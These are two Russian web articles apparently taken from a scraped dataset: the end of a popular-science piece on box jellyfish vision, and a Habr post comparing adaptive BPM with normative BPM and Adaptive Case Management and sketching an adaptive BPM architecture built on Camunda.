Специалисты считают, что особенность фокусировки глаз медуз позволяет им убирать мелкие элементы изображения с сетчатки. Такой механизм, порой, встречается в зрительном аппарате насекомых. Возможно, коробкообразные медузы видят крупные неподвижные или малоподвижные структуры, но не видят мелкие частицы, идущие мимо них с течением. К сожалению, сейчас достоверно неизвестно, каким образом обрабатывается у медуз изображение, получаемое при помощи таких глаз.
Источник: Nature
Вполне возможно, говорят ученые, что информация обрабатывается уже в глазу, вследствие чего животному не нужен сложный мозг. У коробкообразных медуз сложная обработка информации выполняется раньше, чем в большинстве зрительных систем. У таких животных — четыре разные типа глаз, скорее всего, каждый тип выполняет определенную функцию. Это, как утверждают ученые, один из самых ранних примеров эволюции зрительных систем животных. Глаза медуз, несмотря на сложность, не универсальны, а выполняют специфические задачи, этим животным не нужна высокая зрительная активность, как у высших животных. Сьюзан Милиус (Susan Milius) в одной из своих работ, опубликованных в журнале Science News говорит о том, что глаза коробкообразных медуз, головоногих моллюсков и позвоночных животных, насколько можно судить, появились независимо друг от друга. Как и говорилось выше, это — отличный пример параллельной эволюции. | https://geektimes.ru/post/283808/ |
habrahabr | Автоматизация бизнес-процессов. Часть 2. Adaptive BPM | ['BPMN 2.0', 'bpm', 'workflow', 'ad hoc', 'bpm instances migration', 'dynamic changes', 'adaptive BPM', 'normative BPM', 'Adaptive Case Management'] | Итак, в первой части было рассмотрено, какие бывают бизнес-процессы по степени их устойчивости к изменениям, технические концепции для реализации конкретного типа БП, а также пример логики... | Итак, в первой части было рассмотрено, какие бывают бизнес-процессы по степени их устойчивости к изменениям, технические концепции для реализации конкретного типа БП, а также пример логики добавления/удаления таска из адаптивной модели БП.
В этой части статьи собираюсь подробней описать, чем же adaptive BPM (aBPM) отличаются от normative BPM (nBPM) и от Adaptive Case Management (ACM), затем представить архитектуру получившейся aBPM системы. На рисунке 1 хорошо виден переход от явно структурированных БП (nBPM) к неявно структурированным БП, проще говоря к ACM. Нельзя сказать, что nBPM — это прошлый век, а за ACM — будущее автоматизации процесс менеджмента. Для одних БП в одном контексте более применим один подход, а для других БП в другом контексте применим другой подход моделирования. Примером может служить самый изъезженный БП "заявка на отпуск". Есть возможность реализовать этот процесс с помощью ACM, или же с помощью обычного TreeSet. Это можно сравнить с забиванием гвоздя в доску. Годится взять молоток и забить гвоздь, а возможно взять и установку для забивания строительных свай, потом произвести расчёты по силе, амплитуде, углу удара и этой установкой забить гвоздь. Результат тот же — гвоздь забит, но насколько было сложное решение (включая проектировку и изготовление такой установки для свай) для решения простой задачи. А для забивания свай молоток совсем не подходит. Важно понимать, какой инструмент и в каком контексте применять к задачам. nBPM — хорошо подходит к чётко структурированным и коротким по длительности исполнения БП в пределах одного предприятия, например тот же БП "заявка на отпуск". ACM — хорошо решают задачи с неявно структурированными БП, например в медицине и в страховании, когда каждая инстанция процесса может быть индивидуально смоделирована согласно возникшей ситуации. Несколько примеров применения АСМ описал maxstroy . aBPM — на мой взгляд, нечто среднее, компромисс между чёткой структурой nBPM и сложным ACM. Хорошо применим в случаях непредвиденных изменений модели БП длинных по времени исполнения экземпляров процессов. Типичный пример из финансовой отрасли "погашение кредита" (длительность исполнения БП до 30 лет) — в момент старта модель БП находится в актуальном состоянии и все запускаемые экземпляры процесса одинаковые. Однако в течении 30 лет возникают новые требования к модели процесса (например, изменения в законодательстве), и необходимые изменения применяются уже к запущенным экземплярам процесса "на лету", то есть без прерывания выполнения данного экземпляра. Все новые экземпляры процесса уже содержат в себе эти изменения, происходит так называемая эволюция БП. По воле случая я наиболее часто имел дело с aBPM, о которой и пойдёт дальнейшее повествование. Архитектура aBPM представляет собой "надстройку" над любым обычным BPM Engine. Архитектура не зависит от производителя, что дает ещё одну возможность управления миграциями БП с одного BPM Engine на другой (например, как произошло с JBoss BPM, когда Red Hat отказался от поддержки и дальнейшей разработки этого BPM "движка"). BPM-Adapter — инкапсулирует функционал общения с каждым типом BPM Engine; в данном примере будет взят только один тип BPM Engine — это open souce Camunda BPM (fork от Activiti BPM ), но в принципе возможны любые комбинации. PCS — является ядром системы, которое и управляет всеми процессами в BPM Engine. Например, при вызове функции запуска экземпляра процесса, PCS берёт на себя управление версиями моделей БП и решает, какую версию на каком BPM Engine запускать. В следующей части расскажу о моделировании aBPM прoцессов. Забегая наперёд, хочется отметить основную идею моделирования aBPM: Модель aBPM состоит из двух подтипов процессов: — предметные бизнес-процессы
— технические бизнес-процессы Предметные бизнес-процессы собираются из технических БП , из которых в свою очередь строится модель бизнес логики данного БП. В предметных БП разрешено только частичное использование элементов стандарта BPMN 2.0. Технические бизнес-процессы вмещают полный функционал стандарта BPMN 2.0. Спасибо за внимание, добавляйте в закладки и до следующей части статьи! | https://habrahabr.ru/post/317820/ |